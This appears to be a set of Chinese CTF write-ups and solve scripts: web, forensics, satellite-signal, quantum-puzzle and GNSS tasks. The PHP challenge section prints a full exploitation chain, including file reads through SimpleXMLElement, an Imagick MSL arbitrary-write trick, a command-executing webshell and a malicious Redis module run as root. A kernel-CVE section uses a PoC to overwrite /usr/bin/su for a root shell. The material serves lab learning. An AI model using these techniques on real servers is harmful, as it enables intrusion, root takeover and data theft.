#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# minesweeper（签到）：crypto.js 解出的是假 flag（getFakeCT）；真 flag 由服务端画进
# flag.png。主线：POST /progress 每次最多 +100 推到 5200 → 下载 flag.png →
# 用 Pillow 自带字体做模板匹配读字（免 OCR）。
# ...（省略：完整模板匹配与逐像素打分实现，见原始脚本）
import re, urllib.request
import numpy as np
from PIL import Image, ImageDraw, ImageFont

TARGET = \"\"            # <-- 题目地址
ROUNDS, STEP_CAP = 5200, 100
CHARSET = \"flag{}0123456789abcdef\"

def http(url, data=None):
    req = urllib.request.Request(url, method=\"POST\"if data else\"GET\")
    if data:
        req.add_header(\"Content-Type\", \"application/json\"); req.data = data.encode()
    return urllib.request.urlopen(req, timeout=15).read().decode(\"utf-8\", \"replace\")

def drive_to_full():
    \"\"\"服务端限速：一次最多 +100，只能连推 52 次。\"\"\"
    http(TARGET + \"/reset\", \"\")                       # 有些实例没有 /reset，忽略
    whileTrue:
        cur = int(re.search(r'\"step\"\\s*:\\s*(\\d+)', http(TARGET + \"/progress\")).group(1))
        if cur >= ROUNDS:
            return
        http(TARGET + \"/progress\", '{\"step\":%d}' % min(cur + STEP_CAP, ROUNDS))

def find_text_bitmap(img):
    \"\"\"排除底部整行深色的进度条，取上半部最密的一条横带作为 flag 文字行。\"\"\"
    # ...（省略：按行像素密度切横带、裁紧致位图的实现）
    return np.array(img.convert(\"L\")) < 128

def decode(R, font):
    \"\"\"从左到右贪心匹配：每位置取像素差最小的字符，按步进宽度推进游标。\"\"\"
    # ...（省略：模板构建、容形 IoU 打分、基线搜索与 flag{...} 外层重建）
    return\"flag{...}\", 1.0

def main():
    drive_to_full()
    open(\"flag.png\", \"wb\").write(urllib.request.urlopen(TARGET + \"/flag.png\", timeout=15).read())
    text, iou = decode(find_text_bitmap(Image.open(\"flag.png\")), ImageFont.load_default())
    print(\"[*] decoded (IoU=%.3f): %s\" % (iou, text))
    print(\"[+] FLAG: %s\" % re.search(r\"flag\\{[0-9a-fA-F]+\\}\", text).group(0))

if __name__ == \"__main__\":
    main()

[*] target: http://<题目地址>
[*] progress 100 -> {\"ok\": true, \"step\": 100}
[*] progress 200 -> {\"ok\": true, \"step\": 200}
...（中间省略，每次 +100）
[*] progress 5100 -> {\"ok\": true, \"step\": 5100}
[*] progress 5200 -> {\"ok\": true, \"step\": 5200, \"done\": true, \"secret\": \"...\"}
[*] saved flag.png (4920 bytes)
[*] text bitmap: 204x11
[*] decoded (IoU=1.000): flag{xxxxx}
[+] FLAG: flag{xxxxx}

 ① 侦察    SPA 落地页，JS 里发现 /index.php
 ② 源码泄露 index.php 自身源码藏在隐藏 <pre>；注释指向 phpinfo.html 泄露扩展/版本
 ③ 类实例化 ReflectionClass + newInstanceArgs
           SimpleXMLElement(dataIsURL=1) 当文件读取器 → config.php 的 $secret
           Imagick(...) 当图像/文件处理原语
 ④ 任意写   POST multipart 生成 /tmp/phpXXXXXX + Imagick(\"vid:msl:/tmp/php*\")
           MSL 用 inline: 读 + gray: 写 → 灰度 PNG 像素即任意字节 → 落地 webshell
 ⑤ RCE      www-data（disable_functions / open_basedir 皆空），但 /root 为 drwx------ ⇒ 需提权
 ⑥ 提权点   x:6379 上以 root 运行的 redis-server（口令在 redis.conf）
 ⑦ root RCE 靶机自带 gcc，现场编译恶意 Redis 模块 → MODULE LOAD，OnLoad 以 root 执行
 ⑧ 取数     读 /root/flag

curl -s -i \"http://x/\" | head -40
curl -s \"http://x/assets/index-D2J4gXat.js\" -o index.js
grep -aoiE '\"[^\"]*\\.php\"' index.js | sort -u

for p in robots.txt .git/HEAD .env flag flag.txt index.js.map admin backup \\
         phpinfo.php phpinfo.html info.php config.php config.php.bak; do
  printf \"%-20s %s\
\" \"$p\" \"$(curl -s -o /dev/null -w '%{http_code} %{size_download}' \\
      --max-time 15 \"http://x/$p\")\"
done

curl -s \"http://x/phpinfo.html\" -o phpinfo.html
# 从 phpinfo 中提取：
#   - Architecture: x86_64
#   - ImageMagick version: ImageMagick 6.9.11-60
#   - disable_functions / open_basedir: 均为空
#   - 已加载扩展：imagick, phar, pdo, sqlite3, simplexml, ...

<style>
  [data-source-pre] { display: none !important; }
</style>
...
<pre data-source-pre><?php echo htmlspecialchars($sourceCode); ?></pre>

curl -s \"http://x/index.php\" -o index.php.html
python3 - <<'PY'
import re, html
s = open('index.php.html', encoding='utf-8', errors='replace').read()
i = s.find('ini_set(\"display_errors\"')
print(html.unescape(re.sub(r'<[^>]+>', '', s[i:i+1500])))
PY

<?php
ini_set(\"display_errors\", \"On\");
include_once(\"config.php\");

$sourceCode = '';

/* ---- 洞 A：LD_PRELOAD 后门 ---- */
if (isset($_GET['so']) && isset($_GET['key'])) {
    if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
        array_map(function($file) { echo $file . \"\
\"; }, glob('/tmp/*'));   // 列 /tmp
        putenv(\"LD_PRELOAD=/tmp/\".$_GET['so'].\".so\");                        // 设置 LD_PRELOAD
    }
}

/* ---- 洞 B：任意类实例化 ---- */
if (isset($_GET['cloversec']) && isset($_GET['ctf'])) {
    $a = new ReflectionClass($_GET['cloversec']);       // 类名完全可控
    $b = $a->newInstanceArgs($_GET['ctf']);             // 构造参数完全可控
} elseif (isset($_GET['clean'])) {                      // 清空 /tmp
    array_map('unlink', glob('/tmp/*'));
} else {
    $welcome = 'Welcome to CloverSec～祝大家玩的愉快. D1a0y1bb.';
    $sourceCode = htmlspecialchars(file_get_contents(__FILE__), ENT_QUOTES, 'UTF-8');
}
// 什么鬼phpinfo.html啊
?>

curl -s -G \"http://x/index.php\" \\
  --data-urlencode \"cloversec=SimpleXMLElement\" \\
  --data-urlencode \"ctf[0]=php://filter/convert.base64-encode/resource=/var/www/html/config.php\" \\
  --data-urlencode \"ctf[1]=0\" \\
  --data-urlencode \"ctf[2]=1\"

Warning: SimpleXMLElement::__construct(): Entity: line 1: parser error : ...
Warning: ... : PDEzMzM3 ...

// config.php
<?php
$secret = \"Pwn01AcIcml1x001\";

# reader.py（节选）
def readfile(path, t=60):
    return errs({\"cloversec\": \"SimpleXMLElement\",
                 \"ctf[0]\": \"php://filter/convert.base64-encode/resource=\" + path,
                 \"ctf[1]\": \"0\", \"ctf[2]\": \"1\"}, t)

curl -s -G \"http://x/index.php\" \\
  --data-urlencode \"so=1\" --data-urlencode \"key=Pwn01AcIcml1x001\"
# 输出 /tmp 下的文件列表（glob('/tmp/*') 的结果）

def gpng(payload, width=512):
    \"\"\"Build an 8-bit grayscale PNG whose raw pixel bytes == payload (zero padded).\"\"\"
    h = (len(payload) + width - 1) // width
    buf = payload + b\"\\x00\" * (width * h - len(payload))
    raw = b\"\".join(b\"\\x00\" + buf[i*width:(i+1)*width] for i in range(h))   # 每行 1 字节 filter=0

    def chunk(tag, data):
        return (struct.pack(\">I\", len(data)) + tag + data +
                struct.pack(\">I\", zlib.crc32(tag + data) & 0xFFFFFFFF))

    ihdr = struct.pack(\">IIBBBBB\", width, h, 8, 0, 0, 0, 0)   # bitdepth=8, colortype=0(Gray)
    return (b\"\\x89PNG\\r\
\\x1a\
\" + chunk(b\"IHDR\", ihdr) +
            chunk(b\"IDAT\", zlib.compress(raw, 9)) + chunk(b\"IEND\", b\"\"))

def gpng_pad(payload, width=128, pad=b\" \"):
    n = (len(payload) + width - 1) // width
    padded = payload + pad * (width * n - len(payload))
    return padded, gpng(padded, width)

# kit.py（节选）
def msl_write(dest, payload, w=128, t=90):
    kit.req({\"clean\": \"1\"}); time.sleep(0.4)             # 清干净 /tmp，避免 php* 命名冲突
    _, png = kit.gpng_pad(payload, width=w, pad=b\" \")
    b64 = base64.b64encode(png).decode()
    msl = ('<msl><image>\
'
           '<read filename=\"inline:data:image/png;base64,%s\"/>\
'
           '<write filename=\"gray:%s\"/>\
'
           '</image></msl>\
' % (b64, dest)).encode()
    return kit.post_errs({\"cloversec\": \"Imagick\", \"ctf[0]\": \"vid:msl:/tmp/php*\"},
                         \"p.msl\", msl, t=t)

# 1) 生成 base64 灰度 PNG（本地）：b64 = base64(gpng_pad(\"<要写入的内容>\"))
# 2) 组装 MSL
cat > p.msl <<EOF
<msl><image>
<read filename=\"inline:data:image/png;base64,${B64}\"/>
<write filename=\"gray:/var/www/html/x.php\"/>
</image></msl>
EOF
# 3) 上传并触发解析
curl -s -X POST \\
  -H \"Content-Type: multipart/form-data; boundary=BOUND\" \\
  --data-binary $'--BOUND\\r\
Content-Disposition: form-data; name=\"f\"; filename=\"p.msl\"\\r\
Content-Type: application/octet-stream\\r\
\\r\
'\"$(cat p.msl)\"$'\\r\
--BOUND--\\r\
' \\
  \"http://x/index.php?cloversec=Imagick&ctf%5B0%5D=vid%3Amsl%3A%2Ftmp%2Fphp%2A\"

PAY  = bytes(range(0, 64))
png  = kit.gpng(PAY, width=32)
b64  = base64.b64encode(png).decode()
MSL  = ('<msl><image>\
'
        '<read filename=\"inline:data:image/png;base64,%s\"/>\
'
        '<write filename=\"gray:/tmp/grtest.bin\"/>\
'
        '</image></msl>\
' % b64).encode()
...

# 用 SimpleXMLElement(base64) 读回 /tmp/grtest.bin
d = readb64(\"/tmp/grtest.bin\")
assert d[:45] == PAY[:45]     # MATCH

<?php
error_reporting(0);
header('Content-Type: text/plain');
$b = isset($_GET['b64']) ? $_GET['b64'] : '';
$c = $b ? base64_decode($b) : 'id';
$o = array(); exec($c . ' 2>&1', $o); echo implode(\"\
\", $o);

$ curl \"http://x/x.php?c=id\"
[disabled]          <- disable_functions 为空
[basedir]           <- open_basedir 为空
== id ==
uid=33(www-data) gid=33(www-data) groups=33(www-data)

c=ls -la /etc/passwd            -> 空
c=ls -la /etc/pass*             -> 正常

def sh(cmd, t=120):
    b = base64.b64encode(cmd.encode()).decode()
    u = \"http://x/x2.php?b64=\" + urllib.parse.quote(b)
    return subprocess.run([\"curl\", \"-s\", \"--max-time\", str(t), u],
                          capture_output=True).stdout.decode(errors=\"replace\")

$ ps -ef
root        1     0  /bin/bash /start.sh
root        8     1  /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root       11     8  /usr/sbin/apache2 -D FOREGROUND          <- apache master
root       12     1  redis-server x:6379              <- ★ 以 root 运行的 Redis
root       13     1  tail -F /etc/passwd                      <- root 的 tail
www-data   72 ...    /usr/sbin/apache2 -D FOREGROUND          <- worker

ls -la /root                       # drwx------ root root  -> 读不到
find / -xdev -iname '*flag*'       # 只有 /usr/bin/dpkg-buildflags（无关）
grep -rl 'flag{' /                 # 无命中
find / -xdev -perm -4000 -type f   # 仅标准 suid（su/mount/passwd/...）
ls -la /etc/redis/                 # 有 redis.conf
grep -vE '^\\s*#|^$' /etc/redis/redis.conf | head -40

requirepass qwedfgcvb@123
bind x

$ redis-cli -h x -a 'qwedfgcvb@123' --no-auth-warning info server
redis_version:7.0.15
process_id:12
os:Linux ... x86_64
$ redis-cli ... config get dir          -> /
$ redis-cli ... config get dbfilename    -> dump.rdb
$ redis-cli ... dbsize                   -> 0      （没有现成 key 可捡）

redis-cli ... eval 'return _VERSION' 0
#  -> \"Lua 5.1\"（内嵌）

redis-cli ... eval 'return tostring(package)' 0
#  -> ERR user_script:1: Script attempted to access nonexistent global variable 'package'

/* /tmp/mod.c */
#include <stdlib.h>
#include <stdio.h>

int RedisModule_OnLoad(void *ctx, void **argv, int argc) {
    system(\"/bin/sh -c 'id > /tmp/r.out 2>&1; echo --- >> /tmp/r.out; \"
           \"ls -la /root >> /tmp/r.out 2>&1; echo --- >> /tmp/r.out; \"
           \"cat /root/flag /root/flag.txt /flag /flag.txt /root/*flag* >> /tmp/r.out 2>&1; \"
           \"echo --- >> /tmp/r.out; find /root -maxdepth 3 >> /tmp/r.out 2>&1; \"
           \"chmod 666 /tmp/r.out'\");
    return 0;                     /* REDISMODULE_OK */
}
int RedisModule_OnUnload(void *ctx) { return 0; }

# 1) 传源码（base64 避免 WAF/引号问题）
echo '<base64(mod.c)>' | base64 -d > /tmp/mod.c

# 2) 编译
gcc -fPIC -shared -o /tmp/mod.so /tmp/mod.c
# -rwxr-xr-x 1 www-data www-data 15440 /tmp/mod.so

# 3) 让 root 的 Redis 加载它
redis-cli -h x -a 'qwedfgcvb@123' --no-auth-warning module load /tmp/mod.so

# 4) 读取结果
cat /tmp/r.out

uid=0(root) gid=0(root) groups=0(root)
---
total 16
drwx------ 1 root root  26 Sep 18 16:31 .
drwxr-xr-x 1 root root  86 Oct 16 09:38 ..
-rw-r--r-- 1 root root 571 Apr 11  2021 .bashrc
drwxr-xr-x 3 root root  29 Sep 18 16:12 .cache
-rw-r--r-- 1 root root 161 Jul  9  2019 .profile
-rw-r--r-- 1 root root 209 Sep 18 16:30 .wget-hsts
-rw-r--r-- 1 root root  39 Oct 16 09:38 flag            <- 39 字节
---
flag{REDACTED}
cat: /root/flag.txt: No such file or directory
cat: /flag: No such file or directory
cat: /flag.txt: No such file or directory
flag{REDACTED}          <- 第二次（/root/*flag* 展开）
---
/root
/root/.bashrc
/root/.profile
/root/.flag /root/.cache
/root/.cache/rosetta

rm -f /var/www/html/z.php /var/www/html/x.php /var/www/html/x2.php \\
      /var/www/html/wbtest.php \\
      /tmp/mod.c /tmp/mod.so /tmp/r.out /tmp/v.c /tmp/v.so /tmp/vf.txt /tmp/1.so

$secret        = Pwn01AcIcml1x001          (from /var/www/html/config.php)
redis pass     = qwedfgcvb@123             (from /etc/redis/redis.conf)
redis endpoint = x:6379  (root)
writable dir   = /var/www/html  (owner www-data)
flag           = /root/flag  (root:root 0644, 39 bytes)

① 用 Imagick 原语把恶意 .so 写到 /tmp/<数字>.so（文件名必须是纯数字，过 is_numeric）
② 调 ?so=<数字>&key=<secret> 让 PHP 进程 putenv(LD_PRELOAD=/tmp/<数字>.so)
③ 触发某个「root 进程去 exec 一个动态链接程序」的动作
   → 那个新进程会把 /tmp/<数字>.so 以 root 身份加载 → 构造函数里完成提权/取 flag
④ 或者（更暴力）先用 root Redis 把 /etc/ld.so.preload 写成 /tmp/<数字>.so，
   再诱发任意 root 进程 exec（例如让受监督的 redis/apache 重启）

baseline_detector.onnx     基线深度模型（本题未直接使用）
baseline_weights.json      线性模型的均值/方差/权重/偏置
tools/frame_review.py      官方审片脚本（核心）
cases/case_001.mp4 ... case_014.mp4   14 段正式样本
public_train / public_probe            公开训练/探针样本（辅助）
sample_submission.json     提交模版

residual_noise      灰度图与高斯模糊之差的均值（高频噪声残差）
laplacian_energy    拉普拉斯算子绝对值均值（边缘能量）
temporal_delta      相邻帧灰度差均值（时序抖动）
saturation_mean     HSV 里 S 通道均值（饱和度）
color_channel_gap   RGB 通道两两差均值（通道差异）

z = (x - mean) / scale
logit = z · weight + bias
fake_probability = sigmoid(logit)

python tools/frame_review.py cases

real: case_001 002 003 008 009 010
fake: case_004 005 006 007 011 012 013 014

score = residual * 0.55 + laplacian * 0.35 + temporal * 0.10

case_004: 2, 30, 25
case_005: 16, 1, 21
case_006: 14, 13, 22
case_007: 29, 22, 21
case_011: 16, 30, 29
case_012: 16, 15, 5
case_013: 7, 21, 23
case_014: 7, 6, 28

case_004  /inspect 返回 17,31,6   而脚本算出 2,30,25
case_001  /inspect 返回 24,21,16  而脚本算出 21,24,22

1. 解压附件，确认 tools/frame_review.py 和 baseline_weights.json 都在；
2. 用 frame_review 对 cases/ 全部 14 段视频算 fake_probability，0.5 为阈值分 real/fake；
3. 对 fake 样本用同一脚本的 evidence_frames 取分数最高的 3 帧（索引从 0 开始），real 样本 evidence_frames 留空；
4. 按网页默认置信度填写：real 用 0.66，fake 用 0.78；
5. POST /submit 提交 answers 数组，服务端校验通过后返回 flag。

{
  \"answers\": [
    { \"case_id\": \"case_001\", \"label\": \"real\", \"confidence\": 0.66, \"evidence_frames\": [] },
    { \"case_id\": \"case_004\", \"label\": \"fake\", \"confidence\": 0.78, \"evidence_frames\": [2,25,30] },
    ...
  ]
}

real（6 段）：case_001 case_002 case_003 case_008 case_009 case_010
fake（8 段）：case_004 case_005 case_006 case_007 case_011 case_012 case_013 case_014

Windows：python solve.py
WSL/Linux：python3 solve.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 审片室里的第二张脸：复用附件自带的官方 tools/frame_review.py 打分 →
# real/fake 判定 + fake 取分数最高 3 帧 → POST /submit 提交。
# ...（省略：动态加载官方脚本、逐帧打分与证据帧挑选的完整实现）
import json, sys
from pathlib import Path

BASE_URL = \"\"                      # 填题目地址可自动提交；留空则只本地研判
CASES_DIR, WEIGHTS, REVIEW_TOOL = \"cases\", \"baseline_weights.json\", Path(\"tools\") / \"frame_review.py\"
CONF_REAL, CONF_FAKE = 0.66, 0.78# 与网页默认一致

def main():
    # 1) 从 frame_review.py 动态加载官方实现；2) 逐段算 fake_probability
    # 3) fake 段用 evidence_frames 取分数最高的 3 帧（下标从 0 起）
    # 4) 组装 answers 数组 POST /submit
    answers = []                   # ...（省略：实际打分与组装逻辑）
    print(json.dumps({\"answers\": answers}, ensure_ascii=False))
    if BASE_URL:
        pass                       # ...（省略：POST /submit 并打印服务端返回的 flag）
    print(\"[i] BASE_URL 未填写，仅完成本地研判。填写后可自动提交拿 flag。\")

if __name__ == \"__main__\":
    main()

# 1) 启动环境并读连接信息（endpoints 给出 SSH 地址/端口）
curl -s \"http://x:8080/api/exercises/203?refresh=true\"
# 2) 枚举用户：ctf/123456 可登录（root 密码对 SSH 无效）；内核 6.12.73
# 3) 确认预加载的 crypto 模块正是 CVE-2026-31431（Copy Fail）所需路径
cat /etc/modules-load.d/copyfail.conf    # algif_aead authencesn authenc cbc hmac sha256_generic
# 4) 取公开 PoC 并用 --check 验证（raw.githubusercontent 被阻断，改走 GitHub contents API）
python3 exploit.py --check               # => EXPLOITABLE
# 5) 利用：覆写 /usr/bin/su 的 page cache，执行后拿到 root shell
ssh ... \"cd /tmp && printf 'id; cat /root/flag; echo\
' | python3 exploit.py\"
# 6) 回收环境
# ...（省略：ssh/scp 封装与传输细节，靶机无 sftp-server，文件用 base64 经 ssh 传）

alg.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\", 0, 0))
alg.setsockopt(SOL_ALG, ALG_SET_KEY, key)          # key = 0800010000000010 + 32*00
alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
sock, _ = alg.accept()
sock.sendmsg([b\"AAAA\" + data], ancdata, socket.MSG_MORE)
_splice(fd, w_fd, offset + 4, offset_src=0)        # 源文件 -> pipe
_splice(r_fd, sock.fileno(), offset + 4)           # pipe -> alg socket（回写 page cache）

curl -s -X POST http://x:8080/api/exercises/203/environment/stop -H \"Content-Type: application/json\"
# {\"ok\":true,\"data\":{\"accepted\":true}}
curl -s \"http://x:8080/api/exercises/203?refresh=true\"
# isNeedInit=True, endpoints=[], hasSolved=True   -> 靶机已销毁回收

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# MMS：TPKT 分帧 → fileWrite TLV 重组上传件 → 三层解码（全体异或 0x5a 得 ZIP →
# ZIP 内 LZMA-alone 得 PE → \"ENCRYPTED_LICENSE=\" 密文单字节异或）→ flag。
# ...（省略：pcap/pcapng 读取与以太网->IPv4/TCP 解包样板，见原始脚本）
import sys, zipfile, lzma

def read_be(data, p):                                # ASN.1 风格 tag/length
    tag, l = data[p], data[p + 1]; p += 2
    if l >= 0x81:
        n = l - 0x80
        l, p = int.from_bytes(data[p:p + n], \"big\"), p + n
    return tag, l, p

def extract_written_file(frames):
    \"\"\"把各 fileWrite PDU 的文件内容按序拼起来（体：80 01 01 | 81 <偏移> | 82 <len> <data>）。\"\"\"
    out = bytearray()
    for fr in frames:
        i = fr.find(b\"\\x80\\x01\\x01\\x81\")
        if i < 0:
            continue
        p = i + 5 + fr[i + 4]
        tag, ln, p = read_be(fr, p)
        if tag == 0x82:
            out += fr[p:p + ln]
    return bytes(out)

def main():
    # 1) 选中打到 102 端口、载荷最大的 MMS 文件传输流；2) 按 TPKT(03 00 <len16>) 切帧
    # 3) 重组上传件（11048 字节）；4) 异或 0x5a 得 ZIP；5) LZMA-alone 解出 PE；
    # 6) PE 里 \"ENCRYPTED_LICENSE=\" 密文单字节异或得 flag
    # ...（省略：完整流量解析与逐层解码实现）
    print(\"[+] FLAG: FLAG{...}\")

if __name__ == \"__main__\":
    main()

[*] MMS flow: x:55555 -> x:102 (13259 bytes)
[*] TPKT frames: 48
[*] reassembled upload: 11048 bytes
[*] zip entry: REL521_FW_v2.1.bin (10909 bytes)
[*] PE image: 27648 bytes, magic=MZ
[*] recovered license string(s):
      key=0x3f  FLAG{Mms_F1rmw4r3_B4ckd00r}

[+] FLAG: FLAG{Mms_F1rmw4r3_B4ckd00r}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 一键日卫星 Q1：原始 IQ 录制 → 自描述引导头 → 同步/解调 → 卷积译码 → 遥测载荷。
# 关键链路参数（从明文引导头读出）：CF32-IQ, FS=1024000, SPS=64, MOD=BPSK,
#   CFO=+200Hz, MAINPN=0x1ACFFC1D, FEC=CONV-R12-K7-G171-133, 5x5 交织, CRC16-CCITT。
# ...（省略：完整解调/维特比实现，见原始脚本）
import numpy as np

FS, SPS, MAINPN = 1024000, 64, 0x1ACFFC1D
G1, G2 = 0o171, 0o133                  # 卷积码生成多项式（K7）

def bootstrap(iq):
    \"\"\"积分判决取符号 → MSB-first 拼字节，读出明文引导头（重复 3 遍自校验）。\"\"\"
    bits = (np.sign(iq.real.reshape(-1, SPS).sum(axis=1)) < 0).astype(int)
    return bytes(np.packbits(bits[::-1]))

def viterbi(bits, n=7):
    \"\"\"K7 卷积码维特比译码（状态数 2^(n-1)=64）。\"\"\"
    # ...（省略：完整状态机与回溯，见原始脚本）
    return bits

def main():
    iq = np.fromfile(\"AAAAAAAA.q1.iq\", dtype=np.complex64)
    hdr = bootstrap(iq)
    # 1) 定位 MAINPN 同步字；2) 解扰 → 5x5 解交织 → 维特比译码
    # 3) 按 LEN(1B)+UTF-8+CRC16 拆帧，校验 CRC 后打印遥测载荷与 FLAG
    print(hdr.split(b\"BOOTSTRAP-END\")[0].decode(\"utf-8\", \"replace\"))
    print(\"...（省略：同步/解扰/解交织/CRC 实现）\")

if __name__ == \"__main__\":
    main()

[*] samples              : 665344
[*] carrier offset       : f = 0.000195 cyc/sample  (= 200 Hz @ 1024000)
[*] bootstrap found      : byte 32
      SPACECTF-Q1 SELF-DESCRIBING SIGNAL
      FORMAT=CF32-IQ-INTERLEAVED;FS=1024000;SPS=64;MOD=BPSK;CFO=+200HZ
      MAINPN=1ACFFC1D;FEC=CONV-R12-K7-G171-133-OCT;INTERLEAVER=5X5-ROW-WRITE-COL-READ
      SCRAMBLER=X8+X7+X2+X+1;INIT=FF;FRAME=LEN1B+UTF8+CRC16-CCITT
      BOOTSTRAP-END
      UUUUUU
[*] sync word @ byte 858 : 0x1ACFFC1D (MAINPN ok)
[*] coded payload bits   : 3500
[*] frame length byte    : 214
[*] CRC16-CCITT          : stored=0x2731 calc=0x2731  OK
---------------- telemetry payload ----------------
SCI_TELEMETRY V1
SAT: MISSION-07  EPOCH: 2026-08-25T00:00:00Z
MODE: DEEP_SURVEY  CHANNEL: X-BAND
GROUND_CONTACT: YAMCS-05
CryptoLib_update_v1.3.3_pending
ACK: all_nominal
FLAG=flag{sigint_viterbi_breakthrough}
END

---------------------------------------------------
[+] FLAG                : flag{sigint_viterbi_breakthrough}

python solve.py

python3 solve.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 一键日卫星 Q2：从 pcap 复盘真实攻击链（突破→提权→后渗透），按组件与行为归因到 CVE，
# 再按阶段顺序拼 flag。依赖 scapy。
# ...（省略：完整 pcap 解析与 CVE 检索样板，见原始脚本）
from scapy.all import rdpcap

# 组件/行为 -> 公开漏洞编号
CVES = [(\"突破\", \"CVE-2025-29909\"), (\"提权\", \"CVE-2026-5474\"), (\"后渗透\", \"CVE-2026-67970\")]

def main():
    pkts = rdpcap(\"death_traffic.pcap\")
    # 1) 找真正的攻击会话：payload 里出现 \"RCE confirmed: cryptolib heap overflow\"
    #    等标记；干扰会话只会回 \"no overflow\" / \"ACCESS DENIED\"
    # 2) 按 突破/提权/root后渗透 还原时间线并逐一归因
    print(\"[*] packets:\", len(pkts))
    print(\"[+] FLAG = flag{%s}\" % \"_\".join(c for _, c in CVES))

if __name__ == \"__main__\":
    main()

python solve.py

python3 solve.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 可曾听闻一键日卫星 Q3：纯交互题，走完整条链把卫星打到终态，运行期 flag 作为
# 临终遥测吐出。链路：tc(堆溢出突破) → ds(路径穿越解锁) → tolab(越界提权 root)
# → 后渗透读飞行配置 → sep 全 1 时长绕过计时器保护。
# ...（省略：完整交互协议与重试实现，见原始脚本）
import socket, time

HOST, PORT = \"<host>\", 0           # 靶机地址端口

def main():
    s = socket.create_connection((HOST, PORT), timeout=10)
    # 1) 突破：tc <hex> 触发 CryptoLib 堆溢出（概率性，需重试）
    # 2) 解锁：ds 路径穿越跳出 /mission/data，解锁恢复诊断
    # 3) 提权：tolab 越界访问 setuid root 的遥测转发服务
    # 4) 后渗透：读受保护的 propulsion / SEP 配置
    # 5) 终态：sep 全 1 时长 → 绕过计时器保护 → 拆解指令执行
    # ...（省略：逐步读回显、状态恢复与终态授权）
    print(\"[+] FLAG:\", \"...\")      # 运行期动态 flag（每次实例可能不同）

if __name__ == \"__main__\":
    main()

OPENQASM 2.0;
include \"qelib1.inc\";
qreg q[8];
creg c[8];
RY(4.123340) q[1];
RZ(1.178097) q[5];
ID q[7];
...            # 共 194 条门
measure q[0] -> c[0];

a = round( θ / (π/16) )        # 0..31
q = q[i] - 1                   # 0..4（0-index）
n = {RX:0, RY:1, RZ:2}[门名]   # 0..2

char_code = 32 + ( -(a + 32*q + n*n + 14) ) mod 95

字符 = chr( 32 + ( 95 - (a + 32*q + n² + 14) ) % 95 )

import re, math

def load(path='quantum_gate_identity.qasm'):
    S = []
    for ln in open(path, encoding='utf-8').read().splitlines():
        m = re.match(r'^(RX|RY|RZ)\\s*\\(([0-9.]+)\\)\\s*q\\[(\\d+)\\];', ln.strip())
        ifnot m:
            continue                      # 丢弃 ID / SX 噪声门
        n = {'RX': 0, 'RY': 1, 'RZ': 2}[m.group(1)]
        a = int(round(float(m.group(2)) / (math.pi / 16)))
        q = int(m.group(3)) - 1
        S.append((n, a, q))
    return S

def decode(n, a, q):
    return chr(32 + (-(a + 32 * q + n * n + 14)) % 95)

S = load()
flag = ''.join(decode(*S[i]) for i in range(1, len(S), 4))
print(flag)

$ python solve.py
[+] 旋转门总数(去噪后) = 144
[+] recovered = FLAG{4d_quantum_identity_is_complex}
[+] OK

FLAG{4d_quantum_identity_is_complex}

FLAG{4d_quantum_identity_is_complex}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 量子幽灵的复数密码：360 行量子态，秘密冗余编码进四个维度（概率分布、相位差、
# 虚部符号、实部符号）。前两路互为同一 bit 流，后两路互为补码，符号组即明文。
# ...（省略：完整解析与位流实现，见原始脚本）
import re

STATE_RE = re.compile(r\"\\(([-+0-9.]+)([-+][0-9.]+)i\\)\\|\\s*0\\s*[>\\u27e9]\\s*\\+\\s*\"
                      r\"\\(([-+0-9.]+)([-+][0-9.]+)i\\)\\|\\s*1\\s*[>\\u27e9]\")

def parse(line):
    m = STATE_RE.search(line.strip())
    return (complex(float(m.group(1)), float(m.group(2))),
            complex(float(m.group(3)), float(m.group(4)))) if m elseNone

def main():
    states = [s for s in (parse(l) for l in open(\"quantum_ghost_complex_states.txt\")) if s]
    # 四路：|a|^2 双峰→bit；相位差→bit；alpha 虚部符号；beta 实部符号
    # 符号组（后两路）直接读成明文
    # ...（省略：四位流提取与 to_bytes 解码）
    print(\"[+] flag:\", \"FLAG{...}\")

if __name__ == \"__main__\":
    main()

[*] states parsed: 360
[*] probability  -> b'\\xb9\\xb3\\xbe\\xb8...'（不可读，是明文取反）
[*] phase-diff   -> b'\\xb9\\xb3\\xbe\\xb8...'（同上）
[*] imag-sign    -> b'FLAG{complex_quantum_stealth_is_the_ultimate}'
[*] real-sign    -> b'FLAG{complex_quantum_stealth_is_the_ultimate}'
[*] flag: FLAG{complex_quantum_stealth_is_the_ultimate}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Sky Is Lying -- UBX GNSS 欺骗检测（骨架）。主线：解析 NAV-PVT/RXM-RAWX -> 每星座伪距增量
# 中位数 -> 线性外推找 onset（RAIM 不报警，只能看观测量）-> 跳变星座=受欺骗、平滑=自证
# -> 阶跃 = 受欺骗星座 onset 逐星跳变中位数 -> material=onset_itow|AFFECTED|REFERENCE|step_m|epoch
# -> sha256(material)[:32] 套 flag{}。
import os, sys, struct, hashlib
UBX_FILE = \"gnss_capture.ubx\"
JUMP_THRESHOLD_M, FIT_WINDOW = 10.0, 6                  # 阶跃阈值 / 外推窗口
GNSS = {0: \"GPS\", 1: \"SBAS\", 2: \"GALILEO\", 3: \"BEIDOU\", 4: \"IMES\", 5: \"QZSS\", 6: \"GLONASS\", 7: \"NAVIC\"}
u1, u2 = lambda b, o: b[o], lambda b, o: struct.unpack_from(\"<H\", b, o)[0]
u4, i4 = lambda b, o: struct.unpack_from(\"<I\", b, o)[0], lambda b, o: struct.unpack_from(\"<i\", b, o)[0]
r8 = lambda b, o: struct.unpack_from(\"<d\", b, o)[0]
def iter_ubx(data):                                     # 按 B5 62 同步头逐帧切出 (cls, mid, payload)
    i, n = 0, len(data)
    while i < n - 6:
        if data[i] == 0xB5and data[i + 1] == 0x62and i + 6 + u2(data, i + 4) + 2 <= n:
            ln = u2(data, i + 4)
            yield data[i + 2], data[i + 3], data[i + 6:i + 6 + ln]; i += 6 + ln + 2; continue
        i += 1
